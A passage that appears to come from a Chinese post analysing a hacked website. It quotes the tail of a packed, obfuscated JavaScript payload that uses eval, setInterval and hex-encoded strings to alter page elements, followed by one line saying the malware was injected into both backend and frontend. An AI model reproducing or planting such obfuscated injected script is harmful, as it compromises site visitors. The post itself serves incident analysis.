',\'\\A\\L\\M\\J\',\'\\q\',\'\\1b\',\'\\r\',\'\\s\',\'\\E\',\'\\p\',\'\\L\',\'\\M\',\'\\J\',\'\\t\',\'\\p\',\'\\v\',\'\\o\',\'\\p\',\'\\r\',\'\\L\',\'\\M\',\'\\y\',\'\\q\',\'\\O\',\'\\w\\q\',\'\\y\',\'\\z\\A\\q\',\'\\1f\',\'\\1z\\H\',\'\\y\',\'\\Q\',\'\\1n\\A\\L\',\'\',\'\',\'\',\'\',\'\',\'\',"\\y\\H","\\t\\R","\\E\\p\\v\\o\\I\\Z\\r","\\q\\o\\p\\1k\\x","\\x\\1i\\1p","\\y\\H","\\t\\R","\\E\\p\\v\\o\\I\\Z\\r","\\q\\o\\p\\1k\\x","\\x\\1i\\1p","\\E\\Q\\1h\\v\\o\\p\\r\\O\\s\\B\\1k\\1i","\\y\\H\\t\\R\\E\\p\\v\\o","\\G\\p\\o\\1I\\B\\p\\E\\p\\v\\o\\1z\\Q\\1h\\y","\\y\\q\\O","\\1L\\B\\B","\\u\\o\\Q\\B\\p","\\y\\q\\u\\C\\B\\s\\Q","\\v\\H","\\v\\p","\\1y\\H\\y\\Q","\\t\\F\\q\\B\\y\\r\\p\\v","\\B\\p\\v\\G\\o\\F","\\o\\s\\G\\1M\\s\\E\\p","\\q\\y","\\1f\\1h\\1K","\\q\\t\\H\\v\\1f\\q\\O\\K","\\v\\H\\v","\\p"];D a=n$[0];D b=n$[1];D c=n$[2];D d=n$[3];D f=n$[4]+n$[5]+n$[6]+n$[7]+n$[8]+n$[9]+n$[10]+n$[11]+n$[12]+n$[13]+n$[14]+n$[15]+n$[11]+n$[17]+n$[18]+n$[18]+n$[20]+n$[6]+n$[22]+n$[23]+n$[24]+n$[25]+n$[12]+n$[11]+n$[22]+n$[20]+n$[6]+n$[V]+n$[8]+n$[20]+n$[22]+n$[V]+n$[7]+n$[1E]+n$[12]+n$[11]+n$[22]+n$[20]+n$[6]+n$[1D]+n$[20]+n$[S]+n$[7]+n$[V]+n$[1H]+n$[11]+n$[12]+n$[13]+n$[8]+n$[1G]+n$[17]+n$[11]+n$[S]+n$[8]+n$[11]+n$[1F]+n$[20]+n$[S]+n$[7]+n$[V]+n$[2p]+n$[1l]+n$[1l]+n$[2l]+n$[20]+n$[S]+n$[7]+n$[V]+n$[1g];D g=n$[2n]+n$[8]+n$[20]+n$[22]+n$[V]+n$[7]+n$[1g];D h=n$[2m]+n$[11]+n$[15]+n$[1g]+n$[V]+n$[7]+n$[7]+n$[2q]+n$[2o]+n$[1j]+n$[1j]+n$[T];D i=n$[2k]+n$[20]+n$[10]+n$[11]+n$[12]+n$[13]+n$[8]+n$[1m]+n$[4]+n$[1j]+n$[15]+n$[8]+n$[6]+n$[7]+n$[8]+n$[11]+n$[1m]+n$[4]+n$[S]+n$[20]+n$[1X]+n$[1W]+n$[S]+n$[1V]+n$[21]+n$[1Z]+n$[S]+n$[1Y]+n$[1U];D j=f+n$[T]+b+n$[T]+g+n$[T]+c+n$[T]+h+n$[T]+a+n$[T]+i;1A(n$[1x]+n$[1C]+n$[1B]+n$[1q]+j+n$[1r]);1A(n$[1x]+n$[1C]+n$[1B]+n$[1q]+d+n$[1r]);1c{1Q(n$[1P],1O)}1d(e){}1T 1S(){1c{Y[n$[16]][n$[1R]](n$[26]+n$[2g])[n$[1w]][n$[1u]]=n$[2f]+n$[2e]}1d(e){}2j(D k=2i;k<Y[n$[16]][n$[1a]][n$[19]][n$[2h]];k++){1c{D l=Y[n$[16]][n$[1a]][n$[19]][k][n$[2d]];D m=Y[n$[16]][n$[1a]][n$[19]][k][n$[29]];28(l==n$[27]&&m!=n$[2c]){Y[n$[16]][n$[1a]][n$[19]][k][n$[1w]][n$[1u]]=n$[2b]+n$[2a]}}1d(e){}}}',62,151,'|||||||||||||||||||||||_|x74|x65|x69|x72|x61|x63|x73|x6e|x20|x27|x64|x3d|x22|x6c|x70|var|x6d|x68|x67|x6f|x2e|x2f|x31|x3e|x3c|x6a|x76|x30|x79|x75|45|91|x38|31|x2b|x35|window|x77|||||||138|||147|146|x66|try|catch|x3a|x44|72|x49|x29|89|x28|65|99|x32|x34|x3b|130|131|x39|x33|143|x78|142|127|x62|x42|eval|129|128|43|37|59|53|48|x45|x25|x56|x41|x4e|x37|0xbb8|137|setInterval|139|myInterval|function|120|115|113|112|119|117||116|||||140|151|if|150|154|153|152|149|145|144|141|148|0x0|for|92|67|80|73|88|64|87'.split('|'),0,{})

通过分析这个站被挂马是后台和前端,加密一起挂马的。